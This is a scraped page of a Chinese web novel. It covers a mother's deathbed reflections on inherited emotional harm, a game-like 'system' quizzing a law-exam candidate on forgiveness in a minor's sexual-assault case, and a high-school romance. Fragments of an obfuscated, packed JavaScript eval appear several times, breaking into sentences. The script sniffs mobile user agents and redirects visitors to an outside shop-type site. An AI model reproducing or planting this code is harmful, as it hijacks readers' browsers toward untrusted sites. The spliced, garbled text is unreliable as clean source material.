就像一只猴子,拼命想学熊猫爱孩子。它看见熊猫抱着竹子啃,以为那就是爱。于是它也去抱竹子。但它抱起来的样子,怎么看怎么滑稽。 因为它是猴子。 它只会猴子的动作。 它再怎么学,也学不会熊猫。 因为它没有熊猫的基因。 她也是。 她拼命想学那些会爱的妈妈。 但她学不会。 因为她没有那个基因。 她只有伤痕的基因,控制的基因,不会爱的基因。 那些基因是从她妈那儿来的。 她妈是从姥姥那儿来的。 姥姥是从太姥姥那儿来的。 一代一代,传下来。 像一条河,流了不知道多少年。 她想在它这里断掉。 但她发现,她断不掉。 因为她本身就是这条河的一部分。 她流的每一滴水,都带着这条河的味道。 她给的每一份爱,都带着这条河的泥沙。 她越是想断,越是把自己往河里推。 她想起女儿说过的那句话。 “你有你自己的人生。” 是的。 她有她自己的人生。 女儿也有女儿自己的人生。 她给的那些东西,女儿需不需要,她从来没问过。 她只是给。 拼命地给。 因为她当年没得到过。 所以她要让女儿得到。 但她忘了,女儿不是当年的她。 女儿不需要那些。 女儿需要的是不一样的。 是她没给过的。 是她自己也想要的。 但她给不了。 因为她没有。 她从来没得到过。 她给不出她没有的东西。 这个道理,她现在才懂。 太晚了。 她感觉眼前越来越暗。 光越来越淡。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347247|199532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >声音越来越远。 女儿的脸,已经看不清了。 但她还能听见。 听见女儿在哭。 听见女儿在喊她。 听见女儿说“妈,你别走”。 她想说,妈妈不走。 但她知道,她得走了。 就像奶奶当年一样。 她想起奶奶最后看她的那个眼神。 那个眼神她一直不懂。 现在她懂了。 奶奶的眼神说的是:别怕,都会过去的。 奶奶的眼神说的是:你要好好的。 奶奶的眼神说的是:妈妈爱你。 她现在也想用那个眼神看女儿。 但她不知道女儿能不能懂。 就像她当年不懂奶奶一样。 也许要很多年以后,女儿才会懂。 也许要等到女儿也躺在病床上的时候,才会懂。 就像她现在这样。 但那时,她已经不在了。 她突然觉得悲哀。 不是为自己悲哀。 是为这个循环悲哀。 一代一代,就这样传下去。 没有人教,但人人都会。 没有人想,但人人都在做。 她想起女儿小时候,她教女儿学走路。 女儿摔倒了,她跑过去抱起来,说“不怕不怕,妈妈在”。 那时候女儿学得很快。 走了几步,又摔了。 再走,再摔。 最后终于会走了。 她那时候想,孩子学什么都快。 现在她知道,孩子学什么都快。 包括学她的坏脾气。 包括学她的控制欲。 包括学她不会爱的那些东西。 那些她不想教的,女儿全学会了。 那些她想教的,女儿一个都没学会。 因为那些东西,她自己也不会。 她不知道怎么教。 她只会在女儿摔倒的时候跑过去抱她。 但她不知道,女儿摔的不只是身体。 还有心。 心摔了,她不知道怎么抱。 因为她自己的心,也从来没被抱过。 她只会说“别哭”。 她只会说“坚强点”。 她只会说“这有什么大不了的”。 她不会说“妈妈懂”。 她不会说“妈妈在”。 她不会说“疼不疼”。 因为她自己也没听过这些话。 她不知道怎么说。 眼前越来越黑。 光只剩下一条缝。 女儿的声音越来越远。 她想抓住什么,但抓不住。 最后一个念头冒出来: 如果她死了,这个循环是不是就断了? 她死了,女儿就不用再被她控制了。 她死了,女儿就不用再听她骂了。 她死了,女儿就可以过自己的人生了。 也许这是最好的结局。 她死了,循环就结束了。 从她这里结束。 不再传下去。 女儿会变成什么样,她不知道。 但她相信,女儿会比她好。 因为女儿比她勇敢。 女儿敢说“我需要你陪我”。 她当年不敢。 女儿敢说“你根本不懂我”。 她当年不敢。 女儿敢跑出去,敢坐在江边,敢一个人面对那些害怕。 她当年不敢。 女儿比她强。 比她好。 比她有可能打破这个循环。 她想笑。 但笑不出来。 她只能想: 小妍,妈妈走了。 你要好好的。 不要再像我一样。 不要再被这条河困住。 你要游出去。 游到别的地方去。 那里有不一样的风景。 那里有不一样的人。 那里有你想要的爱。 妈妈给不了你。 但你会找到的。 一定会。 光最后闪了一下。 然后黑了。 她听见一声很长的叹息。 不知道是谁的。 也许是自己的。 也许是奶奶的。 也许是很多年前那个没被爱过的女孩的。 然后什么都没有了。 只有安静。 很深的安静。 像冬天的雪地。 没有声音。 没有风。 没有人。 林妍趴在床边,哭了很久。 哭到眼泪干了,哭到嗓子哑了,哭到浑身发抖。 然后她感觉到妈妈的手,动了一下。 很轻。 但确实动了。 她抬起头。 妈妈的眼睛还闭着。 但嘴角,好像有一点弧度。 不是笑。 是一种说不清的表情。 有点像放下。 有点像放心。 有点像终于可以休息了。 林妍看着那张脸,那张跟她一模一样的脸。 她突然想起很久以前,妈妈抱着她睡觉。 那时候她还小,睡不着,就数妈妈的心跳。 咚,咚,咚。 一下一下,很慢。 那是她听过最安心的声音。 现在那个声音没有了。 她趴在妈妈胸口,听不见心跳了。 只有安静。 很深的安静。 她闭上眼睛。 眼泪又流下来。 但这次没出声。 只是流。 流到妈妈的衣服上。 流到那件她穿了很多年的旧毛衣上。 那件毛衣是妈妈自己织的,棕色的,袖口有点磨破了。 她闻着毛衣的味道。 有洗衣液的味道。 有妈妈的味道。 有家的味道。 然后她听见门开了。 有人走进来。 “林妍?” 她没抬头。 “时间到了。” 她点点头。 但她没动。 还是趴在妈妈身上。 抱着那件旧毛衣。 抱着那些再也回不来的日子。 30. 命运循环29 系统眨了眨那两个圆点眼睛,屏幕上的弧线嘴巴弯得更大了。 “欢迎回来!考生林昭,第二次进入本系统。恭喜你成功体验完【善意取得构成要件】关卡——咦,你怎么这个表情?” 林昭站在大厅里,愣了好几秒,然后开口了。 “不是,等会儿。我选的不是善意取得吗?我刚才经历的那些——原生家庭、校园霸凌、怀孕、□□、车祸——跟善意取得有什么关系?” 系统的眼睛弯成了两道缝。 “哎呀,学的不考,考的不学,这不是法考的基本常识吗?你考了这么多年,这点觉悟都没有?” 林昭:“……你再说一遍?” “偶尔超纲很正常嘛。”系统晃了晃圆柱身子,“再说了,法律最终要付诸实践,你实践能力太差,所以得通过情景模式锻炼法学思维——虽然这个情景确实跟善意取得没啥关系。” 林昭盯着它。 “那我现在能出去了吗?” “不能。”系统愉快地说,“接下来我要提问了。答对所有问题才能出去。” “我凭什么听你的?” 系统往前滑了半步,屏幕上的脸笑得人畜无害。 “因为你在这个房间里呀。不听我的,你就出不去。很简单的逻辑。” 林昭沉默了。 系统等了两秒,又补充道:“别灰心,至少刚才那个故事挺感人的对吧?免费看了一场人生大戏,还不用买票。” 林昭深吸一口气。 “行。你问。” 系统清了清嗓子——虽然它根本没有嗓子,只是屏幕上的脸做出一个夸张的清喉动作。 “好,第一个问题,听好了。” 它晃了晃圆柱身体,屏幕上的眼睛眯起来,一副老学究的样子。 “请问:周辰的行为构成□□罪,关键的法律依据是什么?结合案例细节,说明为什么‘恋爱关系’不能成为免责理由。” --- 林昭笑着说太简单了 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“所以,吸二手烟跟善意取得八竿子打不着。善意取得是物权法里的概念,解决的是‘东西归谁’的问题。二手烟是侵权法里的问题,解决的是‘你凭什么害我’的问题。” 她顿了顿,又补充道: “如果你非要在民法里找个概念套上去,那最接近的是‘侵权责任’——他侵害了我的健康权、安宁权、呼吸清洁空气的权利。至于不当得利……勉强能扯上边,但得把‘精神利益’也算进去,属于学术争议区。” 她叹了口气内心os。 “不过法考要是真考这种题,我就直接选‘以上都不对’。活着出去最重要。” 林昭往旁边一靠,摆出一副“要开始认真了”的姿势。 “行,今天我就当一回普法博主,给你讲讲这个学术争议。” 她竖起一根手指。 “传统民法理论认为,不当得利的‘利益’,必须是财产性利益。啥意思?就是能用钱衡量的东西。你多收了人家转错的钱,这叫不当得利。你占用了人家的房子没给房租,这也叫不当得利。因为这些都可以算成钱。” 她竖起第二根手指。 “但是,抽烟那个事儿,他获得的‘利益’是啥?是快感、是爽、是尼古丁带来的颅内高潮。这东西怎么算钱?你让我算算……一根烟的快乐值五毛?那二手烟吸进去的人,损失的是健康,健康又怎么算钱?按医保账单算?还是按精神损失算?” 系统插嘴:“所以你确定争议就在这里?” 林昭点头。 “对。一派学者说:不当得利只适用于财产利益,精神层面的东西别来沾边。抽烟这种事儿,你给我老老实实走侵权责任——他侵害你的健康权,你让他赔医药费、赔精神损害抚慰金,这比不当得利合适多了。” 她清了清嗓子,换了个语气。 “但另一派学者说:不对,‘利益’这个概念可以适当扩大解释。比如,他在公共场所抽烟,享受了‘违法行为的便利’,这种便利虽然不是直接的钱,但也算是一种‘利益’。你被动吸二手烟,遭受了健康损害,这就是‘损失’。他得利,你受损,两者之间有因果关系,又没有合法依据——怎么就不能适用不当得利了?” 系统屏幕上冒出一个思考的表情。 林昭继续说: “这种观点在环境侵权领域偶尔能看到。比如,工厂偷偷排污,附近居民健康受损,有人主张可以用不当得利让工厂把‘违法排污省下来的治污成本’吐出来。省下来的钱,这不就是财产性利益吗?可以算。但抽烟那个‘快感’,还是不太好算。” 她摊摊手。 “所以现在主流观点还是倾向于:不当得利是财产法的事儿,精神层面的东西交给侵权法。吸二手烟,告他侵权,让他赔钱、赔礼道歉、保证不再犯——这比扯什么不当得利靠谱多了。” 系统沉默了两秒。 “所以你的结论是?” 林昭笑了。 “我的结论是:你要是法考考场上遇到这种题,别犹豫,选‘以上都不对’。万一选项里只有不当得利和善意取得,那就选不当得利——至少还能跟老师扯两句学术争议,善意取得那是真的一点边都沾不上。” 她眨眨眼。 “活着出去最重要,对吧?” 系统屏幕上浮现出一个狡黠的表情,眼睛弯成两道月牙。 “看来你真题没少刷啊。那好,接下来这个问题,结合你刚才经历的那个故事,难度升级。” 它清了清嗓子——虽然它根本没有嗓子。 “陈文浩的父母跪求林妍谅解,其心软想签谅解书。请问:从法理和实践角度分析,‘被害人谅解’在未成年人性侵案件中的效力边界在哪里?如果林妍瞒着母亲私下签署谅解书,该谅解书是否有效?为什么?” 屏幕上的眼睛眨了眨。 “提示:涉及《刑事诉讼法》第二百九十条、《未成年人保护法》的相关规定,以及司法实践中对‘自愿性’的认定标准。” 林昭靠在那个圆柱体系统上,叹了口气。 “你这问题,扎心了啊。” 她站起来,走了两步,又坐下。 “好,我试着答。从法理和实践两个角度。” ----------------- 一、未成年人性侵案件中‘被害人谅解’的效力边界 她竖起一根手指。 “首先,《刑事诉讼法》第二百九十条规定:对于达成和解协议的案件,人民法院可以依法对被告人从宽处罚。‘可以’不是‘应当’,这是第一个边界。” “其次,在未成年人性侵案件中,司法实践对这个‘可以’卡得非常严。为什么?因为性侵未成年人属于严重刑事犯罪,社会危害性大,不能因为被害人一时心软就让犯罪者轻易脱罪。这是第二个边界——犯罪性质边界。” 她顿了顿。 “第三,也是最关键的:被害人谅解必须建立在‘真实自愿’的基础上。什么叫真实自愿?不是被跪着求出来的,不是被道德绑架出来的,不是被‘我们曾经相爱过’这种鬼话骗出来的。” 她看着系统。 “我女儿当时那个状态——刚被□□,心理脆弱,对方父母跪地哭求,她根本不是在‘自愿谅解’,她是在‘被迫原谅’。这种谅解,从法理上讲,效力是要打问号的。” ------------------- 二、如果林妍瞒着母亲私下签署谅解书,是否有效? 林昭冷笑了一声。 “这个更有意思了。” 她掰着手指头数。 “第一,她今年十四岁,属于限制民事行为能力人。根据《民法典》第十九条,限制民事行为能力人实施的民事法律行为,需要法定代理人同意或者追认。签署谅解书,这属于处分重大权益的行为,明显超出了她的年龄和智力范围——至少法律上是这么认为的。” “第二,就算她签了,她妈——也就是我——作为法定代理人,完全可以主张该行为无效。因为谅解书涉及的是刑事案件的和解,不是小孩子过家家。司法实践中,法院对未成年人单独签署的谅解书,一般都会要求监护人签字确认。监护人没签,这谅解书就跟废纸一样。” 她竖起第三根手指。 “第三,也是最关键的——‘自愿性’问题。她当时是在什么状态下签的?是被对方父母道德绑架的状态,是被‘你忍心让他坐牢吗’这种话PUA的状态,是刚经历创伤脑子还没清醒的状态。这种状态下签的谅解书,就算法院收上去了,辩护律师也不敢拿这个当主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347249|199532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要辩护理由——因为太容易被推翻。” 她摊摊手。 “所以结论是:她私下签的谅解书,法律上基本无效。就算侥幸有效,她妈——我——也可以去法院闹,说‘我女儿被道德绑架了,这不算数’。法院一般会支持。” 她看着系统。 系统的屏幕上浮现出一个凝重的表情,眼睛变成两条直线,像是在思考什么深奥的问题。 “好,这次聚焦未成年领域,结合原生家庭,出一个真正难倒一片人的问题。” 它停顿了一下,声音变得严肃起来。 ------------------------ “林妍长期生活在‘控制型教养环境’中:母亲的控制欲、父亲的缺位、奶奶的心软但无力。这种原生家庭环境导致她对‘关爱’的认知产生偏差——她把周辰的‘控制’误认为‘爱’,甚至在遭受性侵后仍试图原谅对方。” “请问:从犯罪心理学和刑法理论的角度,这种‘原生家庭导致的认知偏差’是否可能构成‘被害人过错’的一种特殊形式?是否应当在量刑时作为对被告人从轻处罚的考量因素?” 屏幕上的眼睛紧紧盯着林昭。 “提示一:传统刑法理论中,‘被害人过错’通常指被害人主动挑衅、激化矛盾。但现代被害人学提出了‘被害人易感性’概念——某些被害人因成长环境导致对危险缺乏识别能力,这种‘易感性’是否应当影响责任认定?” ,“提示二:《未成年人保护法》第四条规定,保护未成年人应当‘适应未成年人身心发展的规律和特点’。如果加害人利用了这种‘身心发展特点’(包括原生家庭造成的认知缺陷),是否属于‘手段特别恶劣’的加重情节?还是属于‘被害人自身原因’的减轻情节?” “提示三:如果法院采纳‘原生家庭导致认知偏差’作为辩护理由,会不会导致‘甩锅原生家庭’的司法乱象?如果不采纳,又如何解释加害人确实利用了这种偏差的事实?” 系统说完,屏幕上浮现出一行小字: “本题无标准答案,法学界目前仍在争论。请说出你的观点,并给出逻辑自洽的论证。” 结论:原生家庭导致的认知偏差不能成为对被告人从轻处罚的理由,反而可能构成“利用未成年人身心特点”的加重情节。 一、犯罪心理学视角 林妍的“易感性”确实源于原生家庭——她将控制误认为关爱,这是创伤环境的产物。但被害人学的“被害人易感性”理论恰恰指出:加害人若识别并利用了这种易感性,主观恶性更深。男孩子明知她缺爱,用“对你好”实施操控,这属于“情感 predation(情感猎食)”,而非被害人“自招风险”。 二、法学理论视角 刑法评价的是行为时的主观故意与客观危害。陈文浩的行为符合□□罪全部构成要件,被害人“为什么容易上当”不能反推被告人责任减轻。相反,《未成年人保护法》要求对未成年人“特殊、优先保护”——利用未成年人情感缺陷实施犯罪,属于“手段更隐蔽、危害更深远”的恶劣情节,应当在量刑时从重考量。 三、价值权衡 若以“原生家庭有错”为由轻判,等于让被害人为自己无法选择的成长环境“买单”,既违背罪责自负原则,也消解了法律对未成年人的特殊保护。正如德国刑法学者罗克辛所言:“被害人为什么站在那里”不能解释“被告人为什么打过去”。法律要惩罚的是加害行为本身,而非审判受害者的不幸。 综上,原生家庭的悲剧应当被看见、被疗愈,但不能成为加害者的“减刑筹码”。林昭深吸一口气,脸上露出那种“法考考生遇到超纲题”的复杂表情。 “这个问题我答完了。满意吗?” 32. 信赖利益01 林昭站在大厅中央,愣住了。 四周的墙上密密麻麻挂满了铭牌——不是几块,是几百块,几千块,多得数不清。每一块都在发着幽幽的光,像深夜的萤火虫。 【善意取得】【无权处分】【表见代理】【情势变更】【不安抗辩】【代位权】【撤销权】【预告登记】【异议登记】【让与担保】【流质契约】【混合担保】【共同保证】【连带责任】【按份责任】【补充责任】【不真正连带】【第三人异议之诉】【执行异议之诉】【案外人执行异议之诉】【破产别除权】【破产抵销权】【破产撤销权】…… 她的目光扫过去,越看越心惊。 那些她背过无数遍的词,那些她考了三年都没记住的考点,那些让她头秃的法条——全在这儿了。” 像一座巨大的墓碑林。 每一块铭牌后面,都藏着一个房间。 每一个房间里面,都藏着一个故事。 她的故事。 或者别人的故事。 她咽了口唾沫。 “这是……要把我埋在这儿吗?” 系统滑到她身边,笑眯眯的。 “不,是让你一个一个挖出来。” 林昭此时站在大厅中央。 她的目光扫过那些密密麻麻的铭牌,最后停在其中一块上。 【信赖利益损失】 她盯着那几个字,看了很久。 然后她伸出手,轻轻触碰那块发光的铭牌。 门开了。 光从里面透出来。 她走进去。 林昭穿过那道光,眼前的场景慢慢清晰起来。 是一条医院的走廊。白色的墙,淡蓝色的椅子,消毒水的味道若有若无。走廊尽头有扇门,门上挂着牌子——心理咨询科。 一个女孩坐在门口的椅子上。 长发,温婉,二十出头的年纪。她低着头,手里攥着一张挂号单,指尖微微发白。 林昭走过去,在她身边坐下。 女孩抬起头,看了她一眼。那眼神里有一种说不清的东西——疲惫,空洞,还有一点点还没完全熄灭的光。 “你是……”女孩问。 林昭没回答。只是指了指那扇门。 女孩沉默了一下,然后站起来,推开门走进去。 林昭跟了进去。 诊室里,一个穿着白大褂的女医生坐在办公桌后面,看着面前的病历本。 “许清,是吧?” 女孩点点头,坐下。 医生放下笔,看着她,声音很温和。 “最近为什么会不开心?” 许清低下头,沉默了很久。 然后她开口了,声音很轻,像怕惊动什么似的。 “医生,我有一段感情……九年了。” 许清还记得那个下午。 初三最后一天,教室里乱糟糟的。有人在撕书,有人在写同学录,有人在哭。她坐在靠窗的位置,看着窗外那棵老槐树发呆。 “许清。” 她转过头。 付博站在她课桌旁边,手里攥着一个皱巴巴的信封。 他是体育生,个子高,黑黑壮壮的,站在那儿像一堵墙。平时在教室里话不多,体育课上倒是跑得飞快。许清跟他没什么交集,只知道他跑步很快,打篮球很猛,每次运动会都给班里拿第一。 “这个给你。” 他把信封往她桌上一放,转身就走。 许清愣了一下,拿起那个信封。 没封口。 她抽出来看了一眼,脸一下子就红了。 那是一封信,写得歪歪扭扭的,错别字有好几个。但意思她看懂了。 “许清,我喜欢你。能不能跟我在一起?” 她抬起头,看向门口。 付博站在那儿,背对着她,耳朵红得像要滴血。 周围的同学已经开始起哄了。 “哦——付博表白啦!” “许清快说答应不答应!” 她把信折好,站起来,走到他面前。 他比她高一个头,她得仰着脸看他。 “付博。” 他转过身,眼睛不知道往哪看,就是不敢看她。 “你……你写的?” 他点点头。 “错别字好多。” 他愣了一下,然后脸更红了。 “我……我语文不好。” 许清笑了。 “我知道。” 她顿了顿。 “不过,我答应了。” 付博猛地抬起头,看着她。 “真的?” “嗯。” 周围炸了锅。 他站在那儿,傻傻地笑,笑得像个两百斤的孩子。 那是2016年夏天。 他们在一起了。 高一开学,许清考上了一中,付博也考上了一中。 不同的是,许清在重点班,付博在体育班。 两个班隔着一栋楼,中间是一个大操场。 开学第一周,许清还没适应高中的节奏。作业多,课难,老师讲得快。她每天晚上都在教室里写作业写到很晚。 付博也是。 但他不是写作业,是训练。 体育班每天下午放学后要训练到七点,然后吃饭,然后晚自习。晚自习下课是九点半,他还要加练到十点。 所以开学第一周,他们连面都没见上。 只是每天晚上,许清的手机里会收到他的消息。 “今天累不累?” “作业写完了吗?” “早点睡。” 许清每次都回“不累”“写完了”“你也早点睡”。 但其实她很累。 累到有时候写着写着就趴在桌上睡着了。 但她没说。 她知道他也累。 第一次见面,是第二周的周一。 那天晚自习下课,许清收拾好书包,走出教室。 付博站在门口。 她愣了一下。 “你怎么来了?” “等你。” 他说得理所当然。 许清看着他,看着他满头的大汗,看着他被汗水浸透的校服。 “你训练完了?” “嗯。” “不累吗?” “累。” 他顿了顿,又补了一句。 “但想见你。” 许清的心漏跳了一拍。 他们一起往宿舍走。 从教学楼到宿舍,要经过一条长长的坡道。两边种满了梧桐树,路灯昏黄昏黄的,把影子拉得很长。 “你晚饭吃了吗?”许清问。 “吃了。” “吃的啥?” “食堂。” “好吃吗?” “不好吃。” 许清笑了。 “那你明天想吃什么?我给你带。” 付博看着她,眼睛亮亮的。 “你带啥我吃啥。” 那条坡道不长,走快的话五分钟就能走完。 但他们走了二十分钟。 因为走几步就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347250|199532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 停下来说话,说几句又往前走,走几步又停下来。 “你们班作业多吗?”许清问。 “多。数学完全看不懂。” “那你怎么写?” “抄别人的。” “……” 许清叹了口气。 “以后不会的问我。” 付博看着她,眼睛更亮了。 “真的?” “嗯。” “那我天天问你。” 走到宿舍楼下,已经快十点半了。 女生宿舍在左边,男生宿舍在右边。 他们站在岔路口,谁也没动。 “你进去吧。”付博说。 “你先走。” “我看着你进去。” 许清看着他,看着他认真的样子,心里暖暖的。 “那我进去了。” “嗯。” 她转身往宿舍走。 走了几步,又回头。 他还站在那儿,看着她。 她朝他挥挥手。 他也挥挥手。 她继续往前走。 走到门口,又回头。 他还站在那儿。 路灯的光落在他身上,把他的影子拉得很长。 她笑了,推门进去了。 那天晚上,她躺在床上,翻来覆去睡不着。 脑子里全是那条坡道,那些昏黄的路灯,还有他站在那儿目送她的样子。 手机震了一下。 她拿起来看。 付博:到了吗? 她回:早就到了。 付博:哦。我以为你还没到。 她笑出声来。 许清:你是不是傻? 付博:嗯。 付博:但想你想得睡不着。 她看着这行字,心跳又漏了一拍。 许清:我也是。 发完她就后悔了。 太直白了。 她正想撤回,他的消息又来了。 付博:真的? 许清:……嗯。 付博:那我更睡不着了。 她握着手机,脸烫得像发烧。 许清:快睡吧,明天还要训练。 付博:好。 付博:晚安。 许清:晚安。 她把手机放在枕头边,闭上眼睛。 那条坡道又出现在脑海里。 很长很长。 走不完。 高一上学期,他们养成了一个习惯。 每天晚自习下课,付博都会站在教室门口等她。 不管训练到多晚,不管有多累,他都会来。 然后他们一起走那条坡道。 那条坡道,成了他们一天中最期待的时间。 有一次下大雨,许清以为他不会来了。 她撑着伞走出教室,看见他站在雨里,浑身湿透。 “你怎么不躲雨?” “怕你出来找不到我。” 她看着他湿透的头发,湿透的衣服,湿透的鞋。 “你是不是傻?” 他笑笑,不说话。 她把伞举高,遮住他。 “走。” 他们并肩走在雨里。 伞很小,遮不住两个人。 他把伞往她那边推。 “你遮你自己就行。” 她没说话,把伞又推回去。 就这样推来推去,走到宿舍的时候,两个人都湿透了。 但他们都笑了。 笑得像两个傻子。 33. 信赖利益02 学校进行了常规摸底考试,这一次她考试考砸了。 数学只考了78分,全班倒数。 她趴在桌上,不想说话。 付博站在门口,等了好久,没见她出来。 他走进教室,看见她趴在桌上。 “怎么了?” 她不说话。 他在她旁边坐下,也不说话,就那么陪着她。 过了很久,她抬起头。 “我考砸了。” “考了多少?” “78。” 他愣了一下。 “78还叫考砸?” “我们班平均分92。” 他沉默了。 然后他说:“我不懂你们那些。但我懂跑步。有时候训练,跑不动了,教练说再跑一圈。我觉得我死都跑不动了。但跑完那一圈,好像也没死。” 许清看着他。 “所以呢?” “所以下次再考好就行了。反正又不会死。” 她被他逗笑了。 “你这什么逻辑?” “体育生的逻辑。” 她笑着笑着,眼泪就下来了。 他慌了。 “你怎么哭了?我说错话了?” 她摇头。 “不是。我就是……谢谢你。” 他挠挠头。 “谢啥,我又没干啥。” “你陪我了。” 他看着她,眼睛亮亮的。 “那我以后天天陪你。” 那天晚上,他们又走了那条坡道。 走得很慢。 路灯把他们的影子拉得很长,交叠在一起。 走到宿舍楼下,她停下来。 “付博。” “嗯?” “你以后想干什么?” 他想了想。 “当运动员吧。跑步那种。” “能跑到奥运会吗?” 他笑了。 “不知道。但我可以试试。” 她看着他,看着他亮亮的眼睛。 “那我等着看。” “你呢?” “我想考个好大学,学法律。” “法律?” “嗯。当律师。” 他点点头。 “那你也试试。” “好。” 他们站在那儿,看着对方。 晚风吹过来,带着桂花香。 他突然伸出手,轻轻握了一下她的手。 就一下。 然后松开。 “你进去吧。” 她低下头,脸红了。 “嗯。” 她转身往宿舍走。 走了几步,又回头。 他还站在那儿,看着她。 她笑了,挥挥手。 他也挥挥手。 那天晚上,她躺在床上,一直在想刚才那只手。 很热,很大,很粗糙。 那是体育生的手。 也是她的男孩的手。 高一下学期,文理分科。 许清选了文科。付博还是体育班。 分科之后,他们不在同一栋楼了。她在东楼,他在西楼,中间隔着一个操场。 但每天晚上,他还是会来。 穿过操场,走过长长的路,站在她教室门口等她。 有时候来得早,就在操场边上的台阶坐着等。 她下课出来,远远就看见他坐在那儿,像一块石头。 “你怎么不进去等?” “怕影响你们班人学习。” “那你坐这儿不无聊吗?” “不无聊。我数星星。” 她抬头看天。 城市的光太亮,根本看不见星星。 “哪有星星?” 他指着天空。 “那儿。那颗最亮的,是北极星。旁边那几颗,是大熊座。” 她惊讶地看着他。 “你还懂这个?” “训练的时候学的。晚上跑圈,没事就抬头看。” 她笑了。 “你还挺浪漫。” 他挠挠头。 “啥叫浪漫?” “就是……就是现在这样。” 他不懂,但他笑了。 因为他看见她笑了。 有一次,她月考考了全班第一。 她跑去找他。 他在操场训练,跑得满头大汗。 看见她来,他停下来,跑过来。 “怎么了?” “我考了第一!” 他愣了一下,然后笑了。 笑得比她还开心。 “真的?” “嗯!” 他突然抱起她,转了一圈。 周围的人都看过来了。 她脸红得不行,拍他的肩膀。 “放我下来!” 他把她放下,还是笑。 “我就知道你行。” 她看着他,看着他满头的汗,看着他亮亮的眼睛。 “你怎么比我还高兴?” “因为你高兴。” 她愣住了。 然后她踮起脚,在他脸上飞快地亲了一下。 他愣住了。 她转身就跑。 跑出操场,跑过教学楼,跑回教室。 一路上心都在狂跳。 她不知道自己怎么有勇气做那种事。 但那一刻,她就是忍不住。 晚上,他来接她。 走在坡道上,他一路都没说话。 她也不敢说话。 走到宿舍楼下,他停下来。 “许清。” 她低着头。 “嗯?” “刚才那个……” 她心跳加速。 “怎么了?” “我……我还能再要一次吗?” 她抬起头,看着他。 他脸红了,耳朵红了,脖子都红了。 但她看见他眼睛里的期待。 她踮起脚,又亲了他一下。 这回是嘴唇。 很轻,很快。 像蜻蜓点水。 然后她又跑了。 跑进宿舍楼,跑上楼梯,跑进宿舍。 趴在床上,心跳得像要蹦出来。 手机震了。 付博:我今晚睡不着了。 她看着这行字,笑得像个傻子。 许清:我也是。 付博:那我们一起睡不着。 许清:你是不是傻? 付博:嗯。傻你的。 她把这行字看了三遍。 然后抱着手机,睡着了。 梦里还是那条坡道。 很长很长。 走不完。 高二的时候,他开始参加比赛了。 市里的比赛,省里的比赛,一场接一场。 他跑得越来越好,拿的奖越来越多。 但她见他的时间越来越少。 训练时间变长了,比赛变多了,能见面的时间变少了。 有时候一周都见不上一面。 只能发消息。 付博:我今天跑了个第一。 许清:真的?太厉害了! 付博:教练说,再练练,明年能冲省冠军。 许清:你一定可以的。 付博:嗯。等我拿了冠军,请你吃好的。 许清:吃啥? 付博:你想吃啥就吃啥。 许清:那我要吃火锅。 付博:好。吃十顿。 她看着手机,笑了。 笑着笑着,又有点想哭。 因为她想他了。 真的很想。 有一天,她实在忍不住了,去操场找他。 他在训练,跑了一圈又一圈。 她坐在看台上,看着他跑。 他跑过她面前的时候,朝她挥挥手。 她朝他挥挥手。 他又跑远了。 跑了一圈,又回来,又挥手。 她又挥。 就这样,他跑了十圈,她挥了十次手。 训练结束,他跑过来,满头大汗。 “你怎么来了?” “想你了。” 他愣住了。 然后他笑了,笑得眼睛都眯起来了。 “我也想你了。” 她递给他一瓶水。 他接过来,咕咚咕咚喝了半瓶。 “你跑得真快。”她说。 “还行吧。” “我刚才数了,你跑十圈,我挥十次手。你每次跑过来都看我一眼。” 他挠挠头。 “不看你看谁。” 她心里暖暖的。 “你训练这么累,还想着看我?” “累是累。但看见你,就不累了。” 她低下头,脸红了。 他又喝了一口水。 “许清。” “嗯?” “等我拿了省冠军,我给你买个戒指。” 她抬起头,看着他。 “什么戒指?” “就是那种……那种你们女生戴的。” 她笑了。 “你懂女生戴什么吗?” “不懂。但我可以学。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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《你的名字。》 她看哭了。 他看得一脸懵。 “你哭啥?” “你不觉得感人吗?” “还好吧。就是他俩老换身体,换得我有点晕。” 她被他逗笑了。 “你这人怎么这么直?” “体育生嘛。” 